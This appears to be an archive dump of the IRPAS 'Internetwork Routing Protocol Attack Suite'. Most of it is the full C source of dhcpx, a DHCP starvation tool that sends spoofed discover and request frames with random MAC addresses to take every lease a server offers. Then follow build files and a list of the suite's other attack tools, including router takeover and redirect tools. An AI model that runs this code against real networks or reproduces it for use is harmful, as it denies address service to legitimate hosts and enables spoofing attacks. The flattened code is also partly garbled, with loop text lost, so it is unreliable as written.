long since; void *next; } arpcache_t; /* config */ #define CFG_DISCOVER_TIME 3 #define CFG_ARP_TIME 3 struct { int verbose; char *device; int set_dest; struct in_addr dest; int active; unsigned int discover_time; unsigned int arp_time; } cfg; /************************************ * globals */ u_char *rawpacket; int atsock; pcap_t *cap; int stop_flag=0; int accept_offers=0; server_t *servers=NULL; arpcache_t *arp=NULL; /************************************ * prototypes */ void usage(char *n); /* PCAP */ int initialize_pcap(void); void signaler(int sig); void evaluate_packet(u_char *frame,int frame_length); void net_listen(void); void dhcpx_shutdown(void); u_char *construct_arp_frame(int *fsize, struct in_addr *dest); u_char *construct_dhcp_discover_frame(int *fsize, struct in_addr *saddr,lease_t *l); u_char *construct_dhcp_request_frame(int *fsize, struct in_addr *saddr,lease_t *l); void arp_add(struct in_addr *addr, u_char *hwaddr); u_char *arp_find(struct in_addr *addr); void server_add(struct in_addr *srvaddr); server_t *get_server(struct in_addr *saddr); int server_open_leases(server_t *s); void server_request_lease(server_t *s); void server_age_leases(server_t *s); lease_t *server_find_lease(server_t *s,u_char *hwaddr,unsigned long xid); void server_update_lease(struct in_addr *srvaddr, u_char *hwaddr, unsigned long xid, struct in_addr *clientip, unsigned long renew, unsigned int status); void server_bind_leases(server_t *s); void server_age_attempts(server_t *s); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; unsigned long t1,tx1,tx2; unsigned int flen; server_t *sv=NULL; memset(&cfg,0,sizeof(cfg)); cfg.discover_time=CFG_DISCOVER_TIME; cfg.arp_time=CFG_ARP_TIME; while ((option=getopt(argc,argv,"vAi:t:u:D:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'A': /* active ! */ cfg.active++; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'D': /* set destination */ if (inet_aton(optarg,&(cfg.dest))==0) { fprintf(stderr, "dest. IP address seems to be wrong\n"); return (1); } cfg.set_dest++; break; case 't': /* discover time */ cfg.discover_time=atoi(optarg); break; case 'u': /* arp time */ cfg.arp_time=atoi(optarg); break; default: usage(argv[0]); } } if (!cfg.device) usage(argv[0]); if (!cfg.set_dest) inet_aton(IP_BCAST,&(cfg.dest)); /* set up socket ... */ if ((atsock=init_socket_eth(cfg.device))==(-1)) return(1); /* set up sniffer */ if (initialize_pcap()==(-1)) return (1); /* signal handling */ signal(SIGTERM,&signaler); signal(SIGINT,&signaler); srand((unsigned int)time(NULL)); /* my shit */ printf(BANNER); printf("\tIRPAS build %s\n",BUILD); /* if verbose, print options selected */ if (cfg.verbose) { printf("\tScan/attack destination is %s\n",inet_ntoa(cfg.dest)); printf("\tdiscovery will run for %u seconds\n",cfg.discover_time); printf("\tARP will run for %u seconds\n",cfg.arp_time); } /* if destination is set, ARP for it ;) */ if (cfg.set_dest) { if (cfg.verbose) printf("ARPing for destination address ...\n"); t1=(unsigned long)time(NULL); tx2=(unsigned long)time(NULL); while ((t1+cfg.arp_time>=(unsigned long)time(NULL))&&(!stop_flag)) { tx1=(unsigned long)time(NULL); if (tx1!=tx2) { rawpacket=construct_arp_frame(&flen,&(cfg.dest)); sendpack_eth(cfg.device,atsock,rawpacket,flen); free(rawpacket); tx2=(unsigned long)time(NULL); } net_listen(); } if (arp_find(&(cfg.dest))==NULL) { fprintf(stderr,"Could not ARP the hw address of destination %s\n", inet_ntoa(cfg.dest)); return 1; } } /* send out DHCPDISCOVER stuff */ if (cfg.verbose) printf("Discovering DHCP servers ...\n"); t1=(unsigned long)time(NULL); tx2=(unsigned long)time(NULL); while ((t1+cfg.discover_time>=(unsigned long)time(NULL))&&(!stop_flag)) { tx1=(unsigned long)time(NULL); if (tx1!=tx2) { rawpacket=construct_dhcp_discover_frame(&flen,NULL,NULL); sendpack_eth(cfg.device,atsock,rawpacket,flen); free(rawpacket); tx2=(unsigned long)time(NULL); } net_listen(); } if (servers==NULL) { printf("No DHCP servers found. Use -D option for a specific one\n"); pcap_close(cap); close(atsock); dhcpx_shutdown(); return (2); } /* now we know all servers - let's accept the offers now */ accept_offers=1; if (cfg.verbose) printf("Entering main loop ... (press CTRL-C to finish)\n"); tx2=(unsigned long)time(NULL); while (!stop_flag) { if (sv==NULL) sv=servers; tx1=(unsigned long)time(NULL); if (tx1!=tx2) { if (server_open_leases(sv)==0) server_request_lease(sv); server_bind_leases(sv); server_age_leases(sv); server_age_attempts(sv); sv=sv->next; tx2=(unsigned long)time(NULL); printf("..ooo0000ooo..\n"); } net_listen(); usleep(10000); } /* at the end of the day, close our socket */ //pcap_close(cap); close(atsock); dhcpx_shutdown(); return (0); } /********************** FUNCTIONS **********************/ void net_listen(void) { u_char *pcap_data, *ppacket; struct pcap_pkthdr pcap_head,phead; if ((pcap_data=(u_char *)pcap_next(cap,&pcap_head))!=NULL) { /* make a local copy of the data, * pcap will overwrite the buffer if needed */ memcpy(&phead,&pcap_head,sizeof(struct pcap_pkthdr)); ppacket=(u_char *)smalloc(phead.caplen); memcpy(ppacket,pcap_data,phead.caplen); evaluate_packet(ppacket,phead.caplen); free(ppacket); } } void evaluate_packet(u_char *frame,int frame_length) { struct ether_header *eth; iphdr_t *ip; udphdr_t *udp; dhcp_t *dhcp; dhcp_option_t *dhcpo; arphdr_t *arp; /* dhcp related */ struct in_addr serverid; struct in_addr clientip; unsigned short dhcpop; unsigned long dhcp_renew,xid; memset(&serverid,0,sizeof(serverid)); memset(&clientip,0,sizeof(clientip)); if (cfg.verbose>2) printf("-- Packet\n"); eth=(struct ether_header *)frame; if (ntohs(eth->ether_type)==ETHERTYPE_IP) { if (cfg.verbose>2) printf("--- IP\n"); ip=(iphdr_t *)(frame+sizeof(struct ether_header)); /* if it is from myself, igore it */ if (!memcmp(&(ip->saddr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN)) return; if (cfg.verbose>2) printf("--- foreign\n"); if (ip->protocol==IPPROTO_UDP) { if (cfg.verbose>2) printf("---- udp\n"); udp=(udphdr_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)); if (ntohs(udp->dport)==68) { /* check the size of the frame */ if ((sizeof(struct ether_header)+sizeof(iphdr_t)+ sizeof(udphdr_t)+sizeof(dhcp_t)+sizeof(dhcp_option_t)) >frame_length) { if (cfg.verbose) printf("----- BOOTP server->client to small (%u)\n", frame_length); return; } /* the DHCP header */ dhcp=(dhcp_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)+sizeof(udphdr_t)); memcpy(&(clientip.s_addr),&(dhcp->yiaddr),IP_ADDR_LEN); xid=(unsigned long)ntohl(dhcp->transid); dhcpo=(dhcp_option_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)+sizeof(udphdr_t)+sizeof(dhcp_t)); dhcpop=0xFF; /* scan the remaining options for interesting information */ do { if (dhcpo->type==54 /* Server ID */) { memcpy(&(serverid.s_addr),&(dhcpo->value),IP_ADDR_LEN); } else if (dhcpo->type==53 /* message type */) { dhcpop=dhcpo->value; } else if (dhcpo->type==58 /* renewal time */) { dhcp_renew=(unsigned long)ntohl( *((u_int32_t *)&(dhcpo->value))); } dhcpo=(dhcp_option_t *) ((u_char*)dhcpo+dhcpo->length+2); } while ( (((u_char*)dhcpo-frame)type!=0xFF) // option end ); /* at this point, we know the options and what the server * identifier is. Now, we can decide what to do ;) */ if (dhcpop==DHCPOFFER) { //printf("DEBUG: Offer from %s (xid: %lu)\n", //inet_ntoa(ip->saddr),xid); if (!accept_offers) { /* we are still in reconnaissance phase */ arp_add(&serverid,(u_char *)&(eth->ether_shost)); server_add(&serverid); } else { server_update_lease(&serverid, (u_char *)&(dhcp->chaddr),xid, &clientip,dhcp_renew,LEASE_STAT_REQUEST); } // end of active collection } else if (dhcpop==DHCPACK) { server_update_lease(&serverid, (u_char *)&(dhcp->chaddr),xid, &clientip,dhcp_renew,LEASE_STAT_ACTIVE); } else if (dhcpop==0xFF) { printf("The DHCP packet (%s",inet_ntoa(ip->saddr)); printf("->%s) did not contain a DHCP message type\n", inet_ntoa(ip->daddr)); } } /* end of BOOTP client packet */ } /* end of UDP */ } /* not IP */ else if (ntohs(eth->ether_type)==ETHERTYPE_ARP) { if (cfg.verbose>2) printf("--- ARP\n"); arp=(arphdr_t *)(frame+sizeof(struct ether_header)); if (ntohs(arp->opcode)==ARPOP_REPLY) { struct in_addr tip; if (cfg.verbose>2) printf("---- ARP reply\n"); memset(&tip,0,sizeof(tip)); memcpy(&(tip.s_addr),&(arp->sip),IP_ADDR_LEN); arp_add(&tip,(u_char*)&(arp->sha)); } } return; } u_char *construct_arp_frame(int *fsize, struct in_addr *dest) { u_char *packet; struct ether_header *eth; arphdr_t *arp; int i; *fsize=sizeof(arphdr_t)+sizeof(struct ether_header); packet=(u_char *)smalloc(*fsize+3); /* ethernet part */ eth=(struct ether_header *)packet; memset(&(eth->ether_dhost),0xFF,ETH_ALEN); for(i=0;iether_shost[i]=1+(int) (255.0*rand()/(RAND_MAX+1.0)); } /* prevent the MSB in the first octet from being set */ eth->ether_shost[0]=eth->ether_shost[0]&0x7F; eth->ether_type=htons(0x0806); arp=(arphdr_t *)(packet+sizeof(struct ether_header)); arp->hardware=htons(1); arp->protocol=htons(0x0800); arp->hw_size=6; arp->proto_size=4; arp->opcode=htons(ARPOP_REQUEST); memcpy(&(arp->sha),&(eth->ether_shost),ETH_ALEN); /* * for(i=0;isip[i]=1+(int) (255.0*rand()/(RAND_MAX+1.0)); * } */ memcpy(&(arp->sip),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); memcpy(&(arp->tip),&(dest->s_addr),IP_ADDR_LEN); return packet; } /* creates an anonymous discover frame if saddr=l=NULL * creates an unicast discover frame if saddr=l!=NULL */ u_char *construct_dhcp_discover_frame(int *fsize, struct in_addr *saddr,lease_t *l) { u_char *packet; struct ether_header *eth; iphdr_t *ip; udphdr_t *udp; dhcp_t *dhcp; dhcp_option_t *dhcpo; int i; u_int16_t cs; unsigned char optionlist[] = { 1 /* subnet */, 3 /* router */, 6 /* DNS */, 15 /* domain name */}; /* #define DSIZE (sizeof(iphdr_t) \ +sizeof(udphdr_t) \ +sizeof(dhcp_t) \ +4*sizeof(dhcp_option_t) \ +sizeof(optionlist) \ +6+1) */ #define DSIZE 300 // empiric value ?!? packet=(u_char *)smalloc(DSIZE+sizeof(struct ether_header)+3); *fsize=DSIZE+sizeof(struct ether_header); /* ethernet part */ eth=(struct ether_header *)packet; if (saddr==NULL) { if (cfg.set_dest) { u_char *dhwa; if ((dhwa=arp_find(&(cfg.dest)))==NULL) { fprintf(stderr,"ERROR: HW addr of destination unknown !\n"); exit(1); } memcpy(&(eth->ether_dhost),dhwa,ETH_ALEN); } else { memset(&(eth->ether_dhost),0xFF,ETH_ALEN); } } else { u_char *dhwa; if ((dhwa=arp_find(saddr))==NULL) { fprintf(stderr,"ERROR: HW addr of server %s unknown !\n", inet_ntoa(*saddr)); exit(1); } memcpy(&(eth->ether_dhost),dhwa,ETH_ALEN); } if (l==NULL) { for(i=0;iether_shost[i]=1+(int) (255.0*rand()/(RAND_MAX+1.0)); } /* prevent the MSB in the first octet from being set */ eth->ether_shost[0]=eth->ether_shost[0]&0x7F; } else { memcpy(&(eth->ether_shost),&(l->hwaddr),ETH_ALEN); } eth->ether_type=htons(0x0800); /* IP part */ ip=(iphdr_t *)(packet+sizeof(struct ether_header)); ip->version=4; ip->ihl=sizeof(iphdr_t)/4; ip->tot_len=htons(DSIZE); ip->ttl=0x80; ip->protocol=IPPROTO_UDP; ip->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0))); // source stays 0.0.0.0 /* IMPORTANT: DISCOVER frames have to be IP broadcast ! */ memset(&(ip->daddr.s_addr),0xFF,IP_ADDR_LEN); cs=chksum((u_char *)ip,sizeof(iphdr_t)); ip->check=cs; /* UDP header */ udp=(udphdr_t *)((u_char *)ip+sizeof(iphdr_t)); udp->sport=htons(DHCP_CLIENT_PORT); udp->dport=htons(DHCP_SERVER_PORT); udp->length=htons(DSIZE-sizeof(iphdr_t)); /* BOOTP header */ dhcp=(dhcp_t *)((u_char *)udp+sizeof(udphdr_t)); dhcp->msgtype=1; dhcp->hwtype=1; dhcp->hwalen=6; dhcp->hops=0; if (l==NULL) dhcp->transid=(u_int32_t)htonl( 1+(unsigned long)(4294967293.0*rand()/(RAND_MAX+1.0))); else dhcp->transid=(u_int32_t)htonl(l->xid); memcpy(&(dhcp->chaddr),&(eth->ether_shost),ETH_ALEN); dhcp->cookie[0]=0x63; dhcp->cookie[1]=0x82; dhcp->cookie[2]=0x53; dhcp->cookie[3]=0x63; /* DHCP options */ dhcpo=(dhcp_option_t *)((u_char *)dhcp+sizeof(dhcp_t)); dhcpo->type=53; dhcpo->length=1; dhcpo->value=DHCPDISCOVER; /* next option ... (PARAMETERS) */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=DHCP_OPTION_PARAMETERS; dhcpo->length=sizeof(optionlist); memcpy(&(dhcpo->value),optionlist,sizeof(optionlist)); /* next option ... (CLient identifier) */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=DHCP_OPTION_CLIENTID; dhcpo->length=ETH_ALEN+1; dhcpo->value=0x01; /* ethernet */ memcpy((char *)&(dhcpo->value)+1,&(eth->ether_shost),ETH_ALEN); /* next option ... */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=0xFF; return packet; } u_char *construct_dhcp_request_frame(int *fsize, struct in_addr *saddr,lease_t *l) { u_char *packet; struct ether_header *eth; iphdr_t *ip; udphdr_t *udp; dhcp_t *dhcp; dhcp_option_t *dhcpo; u_int16_t cs; u_char *dhwa; unsigned char optionlist[] = { 1 /* subnet */, 3 /* router */, 6 /* DNS */, 15 /* domain name */}; #define SIZE (sizeof(iphdr_t) \ +sizeof(udphdr_t) \ +sizeof(dhcp_t) \ +4*sizeof(dhcp_option_t) \ +sizeof(optionlist) \ +6+1 /* ethernet addr */ \ +6 /* for serverid */ \ +6 /* for requested IP */) packet=(u_char *)smalloc(SIZE+sizeof(struct ether_header)+3); *fsize=SIZE+sizeof(struct ether_header); /* ethernet part */ eth=(struct ether_header *)packet; if ((dhwa=arp_find(saddr))==NULL) { fprintf(stderr,"ERROR: HW addr of destination unknown !\n"); exit(1); } memcpy(&(eth->ether_dhost),dhwa,ETH_ALEN); memcpy(&(eth->ether_shost),&(l->hwaddr),ETH_ALEN); eth->ether_type=htons(0x0800); /* IP part */ ip=(iphdr_t *)(packet+sizeof(struct ether_header)); ip->version=4; ip->ihl=sizeof(iphdr_t)/4; ip->tot_len=htons(SIZE); ip->ttl=0x80; ip->protocol=IPPROTO_UDP; ip->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0))); // source stays 0.0.0.0 memcpy(&(ip->saddr.s_addr),&(l->addr.s_addr),IP_ADDR_LEN); memcpy(&(ip->daddr.s_addr),&(saddr->s_addr),IP_ADDR_LEN); cs=chksum((u_char *)ip,sizeof(iphdr_t)); ip->check=cs; /* UDP header */ udp=(udphdr_t *)((u_char *)ip+sizeof(iphdr_t)); udp->sport=htons(DHCP_CLIENT_PORT); udp->dport=htons(DHCP_SERVER_PORT); udp->length=htons(SIZE-sizeof(iphdr_t)); /* BOOTP header */ dhcp=(dhcp_t *)((u_char *)udp+sizeof(udphdr_t)); dhcp->msgtype=1; dhcp->hwtype=1; dhcp->hwalen=6; dhcp->hops=0; dhcp->transid=(u_int32_t)htonl(l->xid); memcpy(&(dhcp->chaddr),&(l->hwaddr),ETH_ALEN); // Prohibited by RFC 2131 //memcpy(&(dhcp->ciaddr),&(l->addr.s_addr),IP_ADDR_LEN); dhcp->cookie[0]=0x63; dhcp->cookie[1]=0x82; dhcp->cookie[2]=0x53; dhcp->cookie[3]=0x63; /* DHCP options */ dhcpo=(dhcp_option_t *)((u_char *)dhcp+sizeof(dhcp_t)); dhcpo->type=53; dhcpo->length=1; dhcpo->value=DHCPREQUEST; /* next option ... (PARAMETERS) */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=DHCP_OPTION_PARAMETERS; dhcpo->length=sizeof(optionlist); memcpy(&(dhcpo->value),optionlist,sizeof(optionlist)); /* next option ... (CLient identifier) */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=DHCP_OPTION_CLIENTID; dhcpo->length=ETH_ALEN+1; dhcpo->value=0x01; /* ethernet */ memcpy((char *)&(dhcpo->value)+1,&(eth->ether_shost),ETH_ALEN); /* OPTION SERVER IDENTIFIER */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=54; dhcpo->length=4; memcpy(&(dhcpo->value),&(saddr->s_addr),IP_ADDR_LEN); /* OPTION REQUESTED IP */ dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=50; dhcpo->length=4; memcpy(&(dhcpo->value),&(l->addr.s_addr),IP_ADDR_LEN); dhcpo=(dhcp_option_t *)((u_char *)dhcpo+((dhcp_option_t *)dhcpo)->length+2); dhcpo->type=0xFF; return packet; } void signaler(int sig) { stop_flag++; if (cfg.verbose>2) fprintf(stderr,"\nSignal received.\n"); pcap_close(cap); } int initialize_pcap(void) { #define PATTERNSTRING "not ether host " // "00:00:00:00:00:00" #define IPSTRLEN 18 char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ struct bpf_program cfilter; /* the compiled filter */ bpf_u_int32 network,netmask; char tipstr[IPSTRLEN+1]; char *notfilter; /* prepare filter */ memset(&tipstr,0,IPSTRLEN+1); snprintf(tipstr,IPSTRLEN,"%02X:%02X:%02X:%02X:%02X:%02X", packet_ifconfig.eth.ether_addr_octet[0], packet_ifconfig.eth.ether_addr_octet[1], packet_ifconfig.eth.ether_addr_octet[2], packet_ifconfig.eth.ether_addr_octet[3], packet_ifconfig.eth.ether_addr_octet[4], packet_ifconfig.eth.ether_addr_octet[5]); notfilter=(char *)smalloc(strlen(PATTERNSTRING)+IPSTRLEN+1); strcpy(notfilter,PATTERNSTRING); strcat(notfilter,tipstr); /* get my network and netmask */ if (pcap_lookupnet(cfg.device,&network,&netmask,pcap_err)!=0) { fprintf(stderr,"pcap_lookupnet(): %s\n",pcap_err); return (-1); } /* open the sniffer */ if ((cap=pcap_open_live(cfg.device,CAPLENGTH, 1, /* in promi mode */ 100, /* timeouts work with this version of pcap*/ pcap_err))==NULL) { fprintf(stderr,"pcap_open_live(): %s\n",pcap_err); return (-1); } if (pcap_datalink(cap)!=DLT_EN10MB) { fprintf(stderr,"works on Ethernet only, sorry.\n"); return (-1); } if (pcap_compile(cap,&cfilter,notfilter,0,netmask)!=0) { pcap_perror(cap,"pcap_compile()"); return (-1); } if (pcap_setfilter(cap,&cfilter)!=0) { pcap_perror(cap,"pcap_setfilter()"); return (-1); } free(notfilter); return 0; } void usage(char *n) { printf( "%s [-v[v[v]]] -i [-A] \n" "\t[-D ]\n" "\t[-t ]\n" "\t[-u ]\n", n); exit (1); } void arp_add(struct in_addr *addr, u_char *hwaddr) { arpcache_t *a,*a2; a2=arp; if (a2==NULL) { a=smalloc(sizeof(arpcache_t)); arp=a; } else { while (a2!=NULL) { if (!memcmp(&(a2->addr.s_addr),&(addr->s_addr),IP_ADDR_LEN)) { if (cfg.verbose>=2) printf("ARP: %s known - updated\n",inet_ntoa(*addr)); memcpy(&(a2->hwaddr),hwaddr,ETH_ALEN); return; } a2=a2->next; } /* go to the last entry */ a2=arp; while (a2->next!=NULL) a2=a2->next; a=smalloc(sizeof(arpcache_t)); a2->next=a; } if (cfg.verbose>=2) printf("ARP: %s new\n",inet_ntoa(*addr)); memcpy(&(a->addr.s_addr),&(addr->s_addr),IP_ADDR_LEN); memcpy(&(a->hwaddr),hwaddr,ETH_ALEN); a->since=(unsigned long)time(NULL); } u_char *arp_find(struct in_addr *addr) { arpcache_t *a; a=arp; while (a!=NULL) { if (!memcmp(&(a->addr.s_addr),&(addr->s_addr),IP_ADDR_LEN)) return a->hwaddr; else a=a->next; } return NULL; } void server_add(struct in_addr *srvaddr) { server_t *s,*s2; time_t tempt; time(&tempt); s=servers; if (s==NULL) { s=(server_t*)smalloc(sizeof(server_t)); servers=s; } else { s2=servers; while (s2!=NULL) { if (!memcmp(&(s2->addr.s_addr),&(srvaddr->s_addr),IP_ADDR_LEN)) { if (cfg.verbose>=2) printf("Server %s already known\t%s\n", inet_ntoa(*srvaddr),ctime(&tempt)); return; } s2=s2->next; } s2=servers; while(s2->next!=NULL) s2=s2->next; s=(server_t *)smalloc(sizeof(server_t)); s2->next=s; } memcpy(&(s->addr.s_addr),&(srvaddr->s_addr),IP_ADDR_LEN); if (cfg.verbose) printf("Added server %s\n",inet_ntoa(*srvaddr)); } server_t *get_server(struct in_addr *saddr) { server_t *s; if ((s=servers)==NULL) return NULL; while (s!=NULL) { if (!memcmp(&(s->addr.s_addr),&(saddr->s_addr),IP_ADDR_LEN)) return s; s=s->next; } return NULL; } /* returns: * -1 on error * 0 if no open (unack'd leases) * 1 or more if open leases exist */ int server_open_leases(server_t *s) { lease_t *l; int retval=0; if (s==NULL) return (-1); if ((l=s->leases)==NULL) return (0); while (l!=NULL) { if (l->status==LEASE_STAT_NEW) retval++; l=l->next; } return retval; } void server_request_lease(server_t *s) { lease_t *l,*l2; int i; u_char *frame; unsigned int flen; if ((l=s->leases)==NULL) { l=(lease_t *)smalloc(sizeof(lease_t)); s->leases=l; } else { l2=s->leases; while (l2->next!=NULL) l2=l2->next; l=(lease_t *)smalloc(sizeof(lease_t)); l2->next=l; } l->status=LEASE_STAT_NEW; l->xid=1+(unsigned long)(4294967293.0*rand()/(RAND_MAX+1.0)); for(i=0;ihwaddr[i]=1+(int) (255.0*rand()/(RAND_MAX+1.0)); } /* prevent the MSB in the first octet from being set */ l->hwaddr[0]=l->hwaddr[0]&0x7F; l->since=(unsigned long)time(NULL); frame=construct_dhcp_discover_frame(&flen,&(s->addr),l); sendpack_eth(cfg.device,atsock,frame,flen); free(frame); if (cfg.verbose) printf("Requesting new lease from server %s\n",inet_ntoa(s->addr)); } void server_age_leases(server_t *s) { lease_t *l; u_char *frame; unsigned int flen; if ((l=s->leases)==NULL) return; while (l!=NULL) { if ((l->status==LEASE_STAT_ACTIVE) &&(l->renew<=(unsigned long)time(NULL)) &&(l->since!=0)) { if (cfg.verbose) { printf("Lease %s ",inet_ntoa(l->addr)); printf("from server %s needs renewal\n",inet_ntoa(s->addr)); } frame=construct_dhcp_request_frame( &flen,(struct in_addr *)&(s->addr.s_addr),l); sendpack_eth(cfg.device,atsock,frame,flen); free(frame); } l=l->next; } } lease_t *server_find_lease(server_t *s,u_char *hwaddr,unsigned long xid) { lease_t *l; if ((l=s->leases)==NULL) return NULL; while (l!=NULL) { if ((!memcmp(&(l->hwaddr),hwaddr,ETH_ALEN)) &&(l->xid==xid)) { return l; } l=l->next; } return NULL; } void server_update_lease(struct in_addr *srvaddr, u_char *hwaddr, unsigned long xid, struct in_addr *clientip, unsigned long renew, unsigned int status) { server_t *s; lease_t *l; if ((s=get_server(srvaddr))!=NULL) { if ((l=server_find_lease(s,hwaddr,xid))!=NULL){ memcpy(&(l->addr.s_addr),&(clientip->s_addr),IP_ADDR_LEN); l->since=(unsigned long)time(NULL); if (renew!=0) { /* I could update the lease in half the update time - but since * we are not following the process correctly (that's what this * tool is about - isn't it?) it is OK to observe the normal * renewal time * l->renew=(unsigned long)time(NULL)+renew/2; */ l->renew=(unsigned long)time(NULL)+renew; if (cfg.verbose>=2) printf("\rRenewal is in %lu secs\n", (unsigned long)(l->renew)-(unsigned long)time(NULL)); } else { /* DEFAULT= 60 sec */ l->renew=(unsigned long)time(NULL)+60; } l->status=status; if (cfg.verbose) { printf("Updated lease %s",inet_ntoa(*clientip)); printf(" from server %s\n",inet_ntoa(*srvaddr)); } } else { if (cfg.verbose) printf("Unknown lease from server %s\n",inet_ntoa(*srvaddr)); } } else { if (cfg.verbose) printf("Unknown server %s\n",inet_ntoa(*srvaddr)); } } void server_bind_leases(server_t *s) { lease_t *l; u_char *frame; unsigned int flen; if ((l=s->leases)==NULL) return; while (l!=NULL) { if (l->status==LEASE_STAT_REQUEST) { frame=construct_dhcp_request_frame( &flen,(struct in_addr *)&(s->addr.s_addr),l); sendpack_eth(cfg.device,atsock,frame,flen); free(frame); l->status=LEASE_STAT_ACTIVE; if (cfg.verbose>=2) { printf("Lease %s ",inet_ntoa(l->addr)); printf("from server %s will bound\n", inet_ntoa(s->addr)); } } l=l->next; } } void server_age_attempts(server_t *s) { lease_t *l,*l2; if ((l=s->leases)==NULL) return; while (l!=NULL) { if ((l->status==LEASE_STAT_NEW) &&(l->since+REQ_TIMEOUT<(unsigned long)time(NULL))) { if (cfg.verbose>=2) { printf("Lease %s ",inet_ntoa(l->addr)); printf("from server %s was not answerd - removing\n", inet_ntoa(s->addr)); } if (l==s->leases) { l2=s->leases->next; s->leases=l2; free(l); l=l2; } else { l2=s->leases; while (l2->next!=l) l2=l2->next; l2->next=l->next; free(l); l=l2; } } if (l!=NULL) /* check needed since removal might happend*/ l=l->next; } } void dhcpx_shutdown(void) { arpcache_t *a; server_t *s; lease_t *l1,*l2; a=arp; while(a!=NULL) { arp=a; a=a->next; free(arp); } s=servers; while(s!=NULL) { l1=s->leases; while (l1!=NULL) { l2=l1; l1=l1->next; free(l2); } servers=s; s=s->next; free(servers); } if (cfg.verbose) printf("Shutdown complete\n"); } irpas-0.10/build.h0100644000175000017500000000002607416551101012175 0ustar vlmvlm#define BUILD "XXXIX" irpas-0.10/IRPAS.version0100644000175000017500000000255707416551220013227 0ustar vlmvlmProject: IRPAS Internetwork Routing Portocol Attack Suite Author: FX Organization: Phenoelit (http://www.phenoelit.de) Version: $Id: IRPAS.version,v 0.10 2002/01/07 20:00:42 fx Exp fx $ Copyright: (c) 2k++ License: see http://www.phenoelit.de/fr/license.html Documentation: see http://www.phenoelit.de/irpas/docu.html Content: * dhcpx Dynamic Host Confusion Program Requests all available IP adresses from a DHCP server (still first implementation - might me a bit alpha) * icmp_redirect Dynamic redirection: redirects communication using network/netmask matches for targeted attacks * dfkaa "Devices formerly known as Ascend" hacking tool (still a little undocumented - give it a try) * file2cable raw ether frame sender * itrace traceroute using echo-request * tctrace traceroute using TCP SYN packets * netenum target enumeration * netmask ICMP netmask query * protos IP protocol scanner * cdp program for sending Cisco Discovery Protocol messages * igrp program for sending IGRP routing updates * irdp program for sending IRDP ICMP messages * irdpresponder sends responses to IRDP solicication messages * hsrp Hot Standby Router Protocol takeover tool * ass autonomous system scanner - IGRP - IRDP - EIGRP - RIPv1 - RIPv2 - CDP - HSRP - OSPF irpas-0.10/Makefile0100644000175000017500000000672007416551220012376 0ustar vlmvlm# IRPAS Makefile CLIBS= -lpcap CFLAGS=-Wall -g -Wunused -Wmissing-prototypes -I. -L. \ -I./libpcap-0.4 -L./libpcap-0.4 CC=gcc RM=rm CP=cp TAR=tar AR= ar rcs RELEASE=IRPASrelease RELVER=`grep "Version" IRPAS.version | awk '{print $$4}'` OBJECTS= packets.o cdp.o igrp.o ass_v1.o irdp.o irdpresponder.o \ itrace.o tctrace.o protos.o netmask.o file2cable.o dfkaa.o netenum.o \ hsrp.o icmp_redirect.o timestamp.o dhcpx.o PROGRAMS=cdp igrp ass irdp irdpresponder itrace tctrace protos \ netmask file2cable dfkaa netenum hsrp icmp_redirect timestamp dhcpx all: libpc ${PROGRAMS} libpc: ( cd libpcap-0.4; ./configure && make ) # programs dhcpx: dhcpx.o libpackets.a ${CC} ${CFLAGS} -o dhcpx dhcpx.o -lpackets -lpcap dhcpx.o: dhcpx.c packets.h protocols.h ${CC} ${CFLAGS} -c dhcpx.c dfkaa: dfkaa.o libpackets.a ${CC} ${CFLAGS} -o dfkaa dfkaa.o -lpackets dfkaa.o: dfkaa.c packets.h protocols.h ${CC} ${CFLAGS} -c dfkaa.c netenum: netenum.o libpackets.a ${CC} ${CFLAGS} -o netenum netenum.o -lpackets netenum.o: netenum.c packets.h protocols.h enum.h ${CC} ${CFLAGS} -c netenum.c hsrp: hsrp.o libpackets.a ${CC} ${CFLAGS} -o hsrp hsrp.o -lpackets hsrp.o: hsrp.c packets.h protocols.h ${CC} ${CFLAGS} -c hsrp.c file2cable: file2cable.o libpackets.a ${CC} ${CFLAGS} -o file2cable file2cable.o -lpackets file2cable.o: file2cable.c packets.h protocols.h ${CC} ${CFLAGS} -c file2cable.c cdp: cdp.o libpackets.a ${CC} ${CFLAGS} -o cdp cdp.o -lpackets cdp.o: cdp.c packets.h protocols.h ${CC} ${CFLAGS} -c cdp.c igrp: igrp.o libpackets.a ${CC} ${CFLAGS} -o igrp igrp.o -lpackets igrp.o: igrp.c packets.h protocols.h ${CC} ${CFLAGS} -c igrp.c timestamp: timestamp.o libpackets.a ${CC} ${CFLAGS} -o timestamp timestamp.o -lpackets timestamp.o: timestamp.c packets.h protocols.h ${CC} ${CFLAGS} -c timestamp.c netmask: netmask.o libpackets.a ${CC} ${CFLAGS} -o netmask netmask.o -lpackets netmask.o: netmask.c packets.h protocols.h ${CC} ${CFLAGS} -c netmask.c itrace: itrace.o libpackets.a ${CC} ${CFLAGS} -o itrace itrace.o -lpackets itrace.o: itrace.c packets.h protocols.h ${CC} ${CFLAGS} -c itrace.c tctrace: tctrace.o libpackets.a ${CC} ${CFLAGS} -o tctrace tctrace.o -lpackets tctrace.o: tctrace.c packets.h protocols.h ${CC} 